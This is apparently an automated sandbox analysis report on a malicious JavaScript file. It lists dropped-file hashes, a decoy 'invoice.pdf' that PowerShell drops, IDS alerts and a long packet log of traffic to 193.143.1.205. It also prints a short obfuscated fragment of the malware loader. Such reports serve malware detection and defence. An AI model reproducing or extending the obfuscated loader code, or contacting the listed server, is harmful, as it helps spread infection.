SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a197c64d-8255-4460-8a73-d21cee14ab33.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e056929a-f840-483b-9b76-5f2f96247940.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rnOWL07oYGZQeYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TOWLxYGZQeZGH3mlind9i4ufFXpAXkru
MD5:	4DF3EB9167FA932079F96742C37F56E2
SHA1:	DB943B52F019F419A86C637AC94D809DE845144B
SHA-256:	E3BA7B4D7F5BA4F5DB29A7DFAB356B78020070A4789DB068B9E7D69AAA9380C3
SHA-512:	4B2180F8DBAAFB65D05F1E354ACE2308ACA23D2F15C47B4141926240B689BCA643491D882E2AD1AE235C044F032B2DDAF140BD8824D67903AE2FC9ABA4F7E8F3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15703), with CRLF line terminators
Entropy (8bit):	4.93321739984314
TrID:
File name:	44742054371077666.js
File size:	19'071 bytes
MD5:	3528721c8bd05c4b28e41f6f945bbf0e
SHA1:	ef4a15280deb297e7d8d6299fc133407dea7c873
SHA256:	e92fe2a57cc969b946901c22e7ec1b496fa92211a4d5042e8cf7795b1be56454
SHA512:	87c473752a85a785c9a7dc97163e2ae9c89ef0d1d5664fbd968cfdff964a69c13a5cc581656dff11c45955749f0f03ecd1dc5341c00de886cc865f775bc44c4a
SSDEEP:	384:nvFFSOhx3TH4nY6mgISNtEWVsZC3QQngTtMDz:vFFSETH8Y6LDz
TLSH:	7082108FCC18C96B8ACC406147A644E537FC638CE578C646786A40A6778CF70B9F67B5
File Content Preview:	function oujgtta(){ymyferbwi=[1031,3079,5127,4103,2055,3072];var luixdt=this[bcwczf+puamj+zrmol+zaisz+gapclfgwo+domrhvnqp+vdzuya+wtzfp](this[drrhsfqy+snplylli+ztzvtdy+zrmol+xnpjvq+bcwczf+wtzfp][sgfoxzshm+zrmol+gapclfgwo+puamj+wtzfp+gapclfgwo+exadf+nhclh+n

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:40:37.562692+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T17:40:39.759624+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:40:36.788712978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:36.793507099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:36.793593884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:36.805131912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:36.809905052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562552929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562577009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562589884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562601089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562613010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562623978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562634945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562691927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.562691927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.562700987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562715054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562727928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.562747955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.562771082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.567583084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.567604065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.567637920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.605108023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.605119944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.605185986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.605205059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.605248928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.605283976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.684106112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684122086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684128046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684182882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684196949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684195995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.684247017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.684535980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684587002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.684691906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684731007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684772968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.684894085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684911966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684925079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684937000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684947014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.684952974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.684973955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.685729980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.685741901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.685755014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.685771942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.685798883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.685800076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.685812950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.685853958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.686542988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.691404104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.691426992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.691445112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.726871014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.726882935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.726890087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.726918936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.726958990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.770364046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.770379066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.770416975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.805819035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.805835009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.805847883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.805859089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.805871964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.805885077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.805939913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.805974960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.806058884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806072950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806086063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806101084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806103945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.806138039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.806531906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806548119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806561947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806570053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.806577921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806601048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.806941032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806952953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806965113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.806987047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.807007074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.807014942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.807029009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.807065964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.807524920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.807589054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.807601929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.807631969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.807636023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.807651043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.807670116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.807702065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.807714939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.807740927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.808408976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.808430910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.808450937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.808470011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.808482885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.808512926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.808554888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.808569908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.808584929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.808593035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.808665037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.809330940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.809343100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.809356928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.809382915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.809407949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.809422970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.809437037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.809443951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.809477091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.812911987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.848649025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.848740101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.848746061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.848848104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.848860025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.848901987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.851866961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.851882935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.851896048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.851910114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.851939917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.851939917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.891825914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.891839981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.891853094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.891859055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.891948938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.927424908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927440882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927453041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927511930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927525043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927537918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927551985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927553892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.927598000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.927850008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927862883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927879095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927886009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.927932978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.927932978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.928311110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.928368092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.928395987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.928401947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.928411007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.928452015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.928489923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.928919077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.928930998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.928945065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.928952932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.928982019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.928985119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.928994894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.929008961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.929033995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.929073095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.929110050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.929775953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.929821968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.929833889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.929850101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.929851055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.929891109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.930320978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930341005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930355072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930366993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930376053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.930380106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930398941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.930880070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930893898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930906057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930944920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.930954933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.930972099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930985928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.930998087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.931013107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.931025982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.931052923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.931845903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.931858063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.931869984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.931890965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.931902885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.931910038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.931916952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.931926966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.931931019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.931948900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.932668924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.932691097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.932702065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.932713032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.932730913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.932746887 CET	80	49704	193.143.1.205	192.168.2.5
